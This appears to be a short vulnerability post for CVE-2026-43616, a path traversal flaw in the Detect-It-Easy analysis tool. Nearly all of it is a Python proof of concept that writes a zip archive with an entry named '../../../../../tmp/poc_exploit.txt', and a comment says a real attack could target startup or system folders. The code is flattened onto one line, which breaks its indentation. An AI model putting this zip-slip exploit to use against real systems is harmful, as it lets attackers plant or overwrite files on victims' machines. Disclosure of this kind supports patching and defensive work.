CVE-2026-43616 Detect-It-Easy路径遍历漏洞

import zipfile import os # Create a malicious zip file demonstrating the path traversal # This PoC creates a zip file that attempts to write a file outside the extraction directory def create_malicious_zip(filename): with zipfile.ZipFile(filename, 'w') as zf: # The file name contains '../' to traverse out of the intended directory # In a real attack, this might point to a startup folder or system directory malicious_filename = "../../../../../tmp/poc_exploit.txt" # Write content to the file entry zf.writestr(malicious_filename, "This file was written via Path Traversal vulnerability in CVE-2026-43616.") print(f"Created malicious archive: {filename}") print(f"It contains a file entry named: {malicious_filename}") if __name__ == "__main__": create_malicious_zip("cve_2026_43616_poc.zip")